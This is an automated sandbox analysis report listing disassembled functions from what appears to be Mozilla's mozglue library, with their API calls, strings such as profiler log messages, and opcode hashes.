?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C6867C8

Part of subcall function 6C694290: memcpy.VCRUNTIME140(?,?,6C6A2003,6C6A0AD9,?,6C6A0AD9,00000000,?,6C6A0AD9,?,00000004,?,6C6A1A62,?,6C6A2003,?), ref: 6C6942C4

Strings

data, xrefs: 6C686593
vll, xrefs: 6C68696C

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vll
API String ID: 511789754-3754533099
Opcode ID: bf9ccd18c049f19d84b434c64b1875f0a91947db9aaf54fa0c5423ba2981a218
Instruction ID: 03a9351fa18a5583f158ae888529e959bb4c66581faa12b65f3f01a6a361a97a
Opcode Fuzzy Hash: bf9ccd18c049f19d84b434c64b1875f0a91947db9aaf54fa0c5423ba2981a218
Instruction Fuzzy Hash: D1D1DF74A093408FD724CF25C881B9EB7E1AFC6308F10492DE48997B51DB31E949CBAB

Function 6C67D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C64EB57,?,?,?,?,?,?,?,?,?), ref: 6C67D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C64EB57,?), ref: 6C67D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C64EB57,?), ref: 6C67D673
free.MOZGLUE(?), ref: 6C67D888

Strings

Wdl, xrefs: 6C67D5D9, 6C67D63F
|Enabled, xrefs: 6C67D81E

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: Wdl$|Enabled
API String ID: 4142949111-4233065127
Opcode ID: 4b4bbc6ec98d7912e1363ae729becd7502d6704721c7ec4a1691f453cddbbb45
Instruction ID: f68e2e6ddda2c7e5dbe6038ec4adafee80b010b7fac99f9815ed82ed0419b561
Opcode Fuzzy Hash: 4b4bbc6ec98d7912e1363ae729becd7502d6704721c7ec4a1691f453cddbbb45
Instruction Fuzzy Hash: 57A1F3B0A002449FDB20CF69C4D07EEBBF1AF4A318F14885CD899AB741D735A945CBA9

Function 6C691D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C691D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C691BE3,?,?,6C691D96,00000000), ref: 6C691D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C691BE3,?,?,6C691D96,00000000), ref: 6C691D4C
GetCurrentThreadId.KERNEL32 ref: 6C691DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C691DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C691DDA

Part of subcall function 6C691EF0: GetCurrentThreadId.KERNEL32 ref: 6C691F03
Part of subcall function 6C691EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C691DF2,00000000,00000000), ref: 6C691F0C
Part of subcall function 6C691EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C691F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C691DF4

Part of subcall function 6C65CA10: malloc.MOZGLUE(?), ref: 6C65CA26

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 86261cc0e430928897d360e3e9353c7e77ac80e8d515cc6e68dc1f39e3a387fc
Instruction ID: d8053ef837ccc1f1549bce313614aa41798afb87c24a44ae9fe5d44b4b4a17fc
Opcode Fuzzy Hash: 86261cc0e430928897d360e3e9353c7e77ac80e8d515cc6e68dc1f39e3a387fc
Instruction Fuzzy Hash: 28417BB5200701AFCB10DF29C488A56BBF9FF89754F20442DE95A87B41CB71F954CB99

Function 6C6884E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6884F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C68850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C68851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C68855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C68856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6885AC

Part of subcall function 6C687670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6885B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C68767F
Part of subcall function 6C687670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6885B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C687693
Part of subcall function 6C687670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C6885B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6876A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6885B2

Part of subcall function 6C665E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C665EDB
Part of subcall function 6C665E90: memset.VCRUNTIME140(ewjl,000000E5,?), ref: 6C665F27
Part of subcall function 6C665E90: LeaveCriticalSection.KERNEL32(?), ref: 6C665FB2

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 05ffb829bf90fd2359e147901c50e35dee22186a6e2dfee1cef9b4974426845c
Instruction ID: 1a53a5c34286006c32899e92be75b0f1456ddc9a122ecfdc8e52c8c786536fe0
Opcode Fuzzy Hash: 05ffb829bf90fd2359e147901c50e35dee22186a6e2dfee1cef9b4974426845c
Instruction Fuzzy Hash: 3C217C743016019FDB14DB29D888A5AB7B5BF8930CF24482DE55BC3B81DB31F949CB6A

Function 6C651640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C651699
VerSetConditionMask.NTDLL ref: 6C6516CB
VerSetConditionMask.NTDLL ref: 6C6516D7
VerSetConditionMask.NTDLL ref: 6C6516DE
VerSetConditionMask.NTDLL ref: 6C6516E5
VerSetConditionMask.NTDLL ref: 6C6516EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6516F9

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 3dc0830674fe7298dedde9582f17dad6f66132f0435f79d68d5a8e5636f64a96
Instruction ID: e5397d48eba4579c21ce10f2fd160044a2912fc069a17a45ad6560814306216a
Opcode Fuzzy Hash: 3dc0830674fe7298dedde9582f17dad6f66132f0435f79d68d5a8e5636f64a96
Instruction Fuzzy Hash: 9C21C3B07442486BEB105E659C85FBA727CDFC6704F404528F6059B1C0C6759E6487AA

Function 6C68F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C67CBE8: GetCurrentProcess.KERNEL32(?,6C6431A7), ref: 6C67CBF1
Part of subcall function 6C67CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6431A7), ref: 6C67CBFA

Part of subcall function 6C689420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C654A68), ref: 6C68945E
Part of subcall function 6C689420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C689470
Part of subcall function 6C689420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C689482
Part of subcall function 6C689420: __Init_thread_footer.LIBCMT ref: 6C68949F

GetCurrentThreadId.KERNEL32 ref: 6C68F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C68F598), ref: 6C68F621

Part of subcall function 6C6894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6894EE
Part of subcall function 6C6894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C689508

GetCurrentThreadId.KERNEL32 ref: 6C68F637
AcquireSRWLockExclusive.KERNEL32(6C6CF4B8,?,?,00000000,?,6C68F598), ref: 6C68F645
ReleaseSRWLockExclusive.KERNEL32(6C6CF4B8,?,?,00000000,?,6C68F598), ref: 6C68F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C68F62A

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 5f19ee51a592e1eaa7094d1558f282f318606368c6b2aeea25aa2e46eed9801f
Instruction ID: ed2ace0e82717e69cb393aa0464f9a5f40f928c8d9b96726dc061bcec0c8490e
Opcode Fuzzy Hash: 5f19ee51a592e1eaa7094d1558f282f318606368c6b2aeea25aa2e46eed9801f
Instruction Fuzzy Hash: 1F11C675302205ABCB04AF5AC8889E57779FFC676DF100415EA0687F42CB75A912CBBE

Function 6C650EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C67AB89: EnterCriticalSection.KERNEL32(6C6CE370,?,?,?,6C6434DE,6C6CF6CC,?,?,?,?,?,?,?,6C643284), ref: 6C67AB94
Part of subcall function 6C67AB89: LeaveCriticalSection.KERNEL32(6C6CE370,?,6C6434DE,6C6CF6CC,?,?,?,?,?,?,?,6C643284,?,?,6C6656F6), ref: 6C67ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C67D9F0,00000000), ref: 6C650F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C650F3C
__Init_thread_footer.LIBCMT ref: 6C650F50
FreeLibrary.KERNEL32(?,6C67D9F0,00000000), ref: 6C650F86

Strings

combase.dll, xrefs: 6C650F18
CoInitializeEx, xrefs: 6C650F36

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 8843f763485be077d38e4355829980c97b02410eda4677d6a2264fa5cfc3df6a
Instruction ID: f83685332b2f4c8c9d1c2b80a714f51b22feb413192689f27cb77a2efc7f1ce6
Opcode Fuzzy Hash: 8843f763485be077d38e4355829980c97b02410eda4677d6a2264fa5cfc3df6a
Instruction Fuzzy Hash: 3211C2743052409BDF00CF66C98CA8A3774EB9B72AF904229EE0593741D733E611CA6F

Function 6C68F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C689420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C654A68), ref: 6C68945E
Part of subcall function 6C689420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C689470
Part of subcall function 6C689420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C689482
Part of subcall function 6C689420: __Init_thread_footer.LIBCMT ref: 6C68949F

GetCurrentThreadId.KERNEL32 ref: 6C68F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C68F561

Part of subcall function 6C6894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6894EE
Part of subcall function 6C6894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C689508

GetCurrentThreadId.KERNEL32 ref: 6C68F577
AcquireSRWLockExclusive.KERNEL32(6C6CF4B8), ref: 6C68F585
ReleaseSRWLockExclusive.KERNEL32(6C6CF4B8), ref: 6C68F5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6C68F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C68F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C68F499
[I %d/%d] profiler_resume, xrefs: 6C68F239

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 0c60c1f2daf003148467012b13886a3636a6d278150176aa629ead106a0bbd52
Instruction ID: 526ae104898f529f283b404bdd3f3c1c35b3303c8ed8e33820a8c038022dce26
Opcode Fuzzy Hash: 0c60c1f2daf003148467012b13886a3636a6d278150176aa629ead106a0bbd52
Instruction Fuzzy Hash: BDF0E9767012009FDB006F66D88895A77BCEFCA69DF004411FA06C3702CB3549018B7F

Function 6C650E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C650DF8), ref: 6C650E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C650EA1
__Init_thread_footer.LIBCMT ref: 6C650EB5
FreeLibrary.KERNEL32 ref: 6C650EC5

Strings

kernel32.dll, xrefs: 6C650E7D
GetProcessMitigationPolicy, xrefs: 6C650E9B

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 1c6a30aebe7f6a667147d65a14dc79787e6e257af1aae7bbb0a9c2f90d9653a5
Instruction ID: 6244495c2bc4d563b42268b49bc8d88c4a9ea7ccb02ba8223749239313a5e364
Opcode Fuzzy Hash: 1c6a30aebe7f6a667147d65a14dc79787e6e257af1aae7bbb0a9c2f90d9653a5
Instruction Fuzzy Hash: 3E0146747003818BDF009FAAE998A5233B5E74A718F200525EA0182B40D774E6368A6F

Function 6C68F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C689420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C654A68), ref: 6C68945E
Part of subcall function 6C689420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C689470
Part of subcall function 6C689420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C689482
Part of subcall function 6C689420: __Init_thread_footer.LIBCMT ref: 6C68949F

GetCurrentThreadId.KERNEL32 ref: 6C68F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C68F598), ref: 6C68F621

Part of subcall function 6C6894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6894EE
Part of subcall function 6C6894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C689508

GetCurrentThreadId.KERNEL32 ref: 6C68F637
AcquireSRWLockExclusive.KERNEL32(6C6CF4B8,?,?,00000000,?,6C68F598), ref: 6C68F645
ReleaseSRWLockExclusive.KERNEL32(6C6CF4B8,?,?,00000000,?,6C68F598), ref: 6C68F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C68F62A

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: ae0b5c44f8d95e319920faaabf876c9ac55b8f7a1da040e5303663188326c8af
Instruction ID: 747673c2e9c035d3264c3924d8da6fc1dfe04fec109707817053ef6e19b1068e
Opcode Fuzzy Hash: ae0b5c44f8d95e319920faaabf876c9ac55b8f7a1da040e5303663188326c8af
Instruction Fuzzy Hash: 6DF08976301204AFDB006F66C88895A777DEFCA7ADF004415FA0683742CB755D068B7E

Function 6C6805F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C67CFAE,?,?,?,6C6431A7), ref: 6C6805FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C67CFAE,?,?,?,6C6431A7), ref: 6C680616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C6431A7), ref: 6C68061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C6431A7), ref: 6C680627

Strings

<jemalloc>, xrefs: 6C6805FA, 6C68060F
: (malloc) Error in VirtualFree(), xrefs: 6C68061B, 6C680625

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 1f292071b798d1fee8833fcf9a3a5f7352cf5e62394ace5eb457c4aaa65e885b
Instruction ID: 9c208421c66ec76e43d00956bd30a5fe9214f880698f5cabd6aedec399625fcd
Opcode Fuzzy Hash: 1f292071b798d1fee8833fcf9a3a5f7352cf5e62394ace5eb457c4aaa65e885b
Instruction Fuzzy Hash: DFE08CE2A0101037F6242256AC86DBB761CDBC6134F080039FE0E93301E95AAE2A52FA

Function 6C6505F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 849be96f2ea9ad801197f03497d4c68bcad8d00f2b06ccd9524581dde73a3617
Instruction ID: 2e39ea19a387687625c44c19df4ec5a590822978700fa9ab740d8e53e49ae342
Opcode Fuzzy Hash: 849be96f2ea9ad801197f03497d4c68bcad8d00f2b06ccd9524581dde73a3617
Instruction Fuzzy Hash: EEA16AB0A01605CFDB24CF29C594A99FBF1FF49308F54866ED44A97B40E730AA55CF94

Function 6C6A14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6A14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6A14E2
GetCurrentThreadId.KERNEL32 ref: 6C6A1546
InitializeConditionVariable.KERNEL32(?), ref: 6C6A15BA
free.MOZGLUE(?), ref: 6C6A16B4

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: e5046ebe709412b91a78a4e62489ae6bff1aee02650906d8f3fb652c650461d6
Instruction ID: 15ae236c7845a64fea8c23f59c60b22762acd2f8c4052ce74a5e380ad41d20a8
Opcode Fuzzy Hash: e5046ebe709412b91a78a4e62489ae6bff1aee02650906d8f3fb652c650461d6
Instruction Fuzzy Hash: 9E61F172A00700DBDB118F65C880BDEB7B4BF8A308F04951CED8A57712DB31E95ACB99

Function 6C69DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C69DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C69D38A,?), ref: 6C69DC6F
free.MOZGLUE(?,?,?,?,?,6C69D38A,?), ref: 6C69DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C69D38A,?), ref: 6C69DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C69D38A,?), ref: 6C69DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C69D38A,?), ref: 6C69DD4A

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
